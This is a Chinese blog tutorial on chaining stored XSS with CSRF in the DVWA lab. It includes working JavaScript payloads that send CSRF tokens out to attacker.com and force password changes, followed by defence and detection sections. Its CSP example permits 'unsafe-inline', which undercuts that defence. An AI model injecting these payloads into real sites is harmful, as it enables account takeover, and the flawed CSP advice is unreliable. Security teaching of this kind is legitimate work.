CSRF+XSS组合攻击实战:3步利用存储型XSS绕过CSRF防御
📅 2026/7/8 10:26:31
👁️ 阅读次数
📝 编程学习
CSRF与XSS组合攻击的深度解析:如何利用存储型XSS绕过CSRF防御机制
1. 漏洞原理与攻击场景剖析
Web安全领域中,CSRF(跨站请求伪造)和XSS(跨站脚本攻击)是两种常见的攻击方式。当它们组合使用时,会产生更严重的威胁。CSRF攻击利用用户已认证的身份,在用户不知情的情况下执行非预期的操作。而XSS攻击则允许攻击者在受害者的浏览器中执行恶意脚本。
传统CSRF防御主要依赖以下机制:
- CSRF Token验证
- SameSite Cookie属性
- 请求来源检查(Referer Header)
然而,当网站同时存在XSS漏洞时,这些防御措施可能被绕过。特别是存储型XSS,因为其恶意脚本会被持久化保存在服务器上,影响所有访问相关页面的用户。
攻击场景示例:
- 一个论坛存在存储型XSS漏洞,允许用户提交包含脚本的内容
- 该论坛的敏感操作(如修改密码)需要CSRF Token
- 攻击者提交包含恶意脚本的内容,脚本会窃取用户的CSRF Token
- 当管理员查看被污染的内容时,脚本自动执行并完成攻击
2. 靶场环境搭建与漏洞复现
为了演示这种组合攻击,我们使用DVWA(Damn Vulnerable Web Application)作为测试环境。以下是搭建步骤:
# 下载DVWA git clone https://github.com/digininja/DVWA.git # 配置Docker环境 docker-compose up -d # 访问靶场 http://localhost:8080靶场关键配置参数:
| 配置项 | 值 | 说明 |
|---|---|---|
| 安全等级 | Low | 设置为最低安全级别 |
| PHP版本 | 7.4+ | 确保支持必要功能 |
| 数据库 | MySQL | 默认配置 |
在DVWA中,我们需要完成以下准备工作:
- 登录后台(admin/password)
- 设置安全级别为"Low"
- 激活XSS(Stored)和CSRF两个漏洞模块
3. 恶意脚本构造与CSRF Token窃取
存储型XSS的核心在于构造能够窃取CSRF Token的恶意脚本。以下是典型的攻击脚本:
// 获取页面中的CSRF Token var token = document.querySelector('input[name="token"]').value; // 将Token发送到攻击者控制的服务器 var xhr = new XMLHttpRequest(); xhr.open('POST', 'http://attacker.com/steal', true); xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); xhr.send('token=' + token); // 可选:立即发起CSRF攻击 var form = document.createElement('form'); form.method = 'POST'; form.action = '/vulnerabilities/csrf/'; form.innerHTML = '<input type="hidden" name="password_new" value="hacked">' + '<input type="hidden" name="password_conf" value="hacked">' + '<input type="hidden" name="Change" value="Change">' + '<input type="hidden" name="token" value="' + token + '">'; document.body.appendChild(form); form.submit();这个脚本实现了三个关键功能:
- 从页面中提取CSRF Token
- 将Token发送到攻击者服务器
- 立即使用该Token发起密码修改请求
4. 组合攻击实战演示
完整的攻击流程分为以下几个步骤:
4.1 注入恶意脚本
- 访问DVWA的XSS(Stored)页面
- 在留言板中输入以下内容:
<script> /* 上述窃取Token的脚本 */ </script>- 提交内容,脚本将被存储在服务器
4.2 触发攻击
当管理员或其他用户查看留言板时:
- 恶意脚本自动执行
- CSRF Token被窃取并发送到攻击者服务器
- 密码修改请求被自动提交
关键请求参数分析:
| 参数名 | 值 | 说明 |
|---|---|---|
| password_new | hacked | 新密码 |
| password_conf | hacked | 密码确认 |
| Change | Change | 触发操作 |
| token | [有效Token] | 绕过CSRF检查 |
4.3 攻击结果验证
攻击成功后可以观察到:
- 目标用户的密码被修改为"hacked"
- 攻击者服务器收到CSRF Token
- 攻击者可以使用该Token发起其他敏感操作
5. 高级攻击技巧与变种
5.1 基于DOM的Token窃取
有些应用将CSRF Token存储在JavaScript变量或meta标签中,可以通过以下方式获取:
// 从meta标签获取 var token = document.querySelector('meta[name="csrf-token"]').content; // 从全局变量获取 var token = window.appConfig.csrfToken;5.2 异步Token收集
为避免引起注意,可以采用更隐蔽的收集方式:
// 使用Image对象发送数据 new Image().src = 'http://attacker.com/steal?token=' + token; // 使用navigator.sendBeacon navigator.sendBeacon('http://attacker.com/steal', 'token=' + token);5.3 针对AJAX请求的攻击
现代应用常用AJAX提交表单,攻击脚本需要相应调整:
fetch('/api/change-password', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': token }, body: JSON.stringify({ newPassword: 'hacked', confirmPassword: 'hacked' }) });6. 防御措施与最佳实践
针对这种组合攻击,需要多层防御策略:
6.1 前端防御措施
- 实施严格的CSP(内容安全策略):
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'- 使用HttpOnly和Secure标记的Cookie
- 对用户输入进行严格的过滤和转义
6.2 后端防御措施
- 为不同的功能使用不同的CSRF Token
- 验证Referer头部
- 实现同源策略检查
- 对敏感操作要求二次认证
6.3 架构层面的防护
| 防护层 | 措施 | 有效性 |
|---|---|---|
| 网络层 | WAF防护 | 中等 |
| 应用层 | 输入验证/输出编码 | 高 |
| 会话层 | 短时效Token | 高 |
| 用户层 | 安全意识培训 | 长期 |
7. 漏洞检测与自动化工具
推荐使用以下工具检测此类漏洞:
Burp Suite:
- 使用CSRF PoC生成器
- 测试XSS注入点
- 检查Token处理逻辑
OWASP ZAP:
# 启动自动化扫描 zap-cli quick-scan -s xss,csrf http://target.com自定义检测脚本:
import requests from bs4 import BeautifulSoup def check_csrf_protection(url): session = requests.Session() response = session.get(url) soup = BeautifulSoup(response.text, 'html.parser') token = soup.find('input', {'name': 'token'}) return bool(token)在实际测试中,需要特别关注:
- Token是否随机且唯一
- Token是否与用户会话绑定
- Token是否在多个请求间重复使用
- 是否存在XSS漏洞可能泄露Token
8. 真实案例分析
某知名电商平台曾遭遇此类组合攻击,攻击流程如下:
- 攻击者发现商品评论处存在存储型XSS
- 注入恶意脚本窃取用户的CSRF Token
- 使用Token发起转账请求
- 攻击影响超过5000个账户
平台最终采取的修复措施包括:
- 引入每请求Token(Per-Request Token)
- 实施严格的CSP策略
- 对所有用户输入实施HTML实体编码
- 增加敏感操作的二次验证
这个案例凸显了组合攻击的严重性,也展示了综合防御策略的有效性。
编程学习
技术分享
实战经验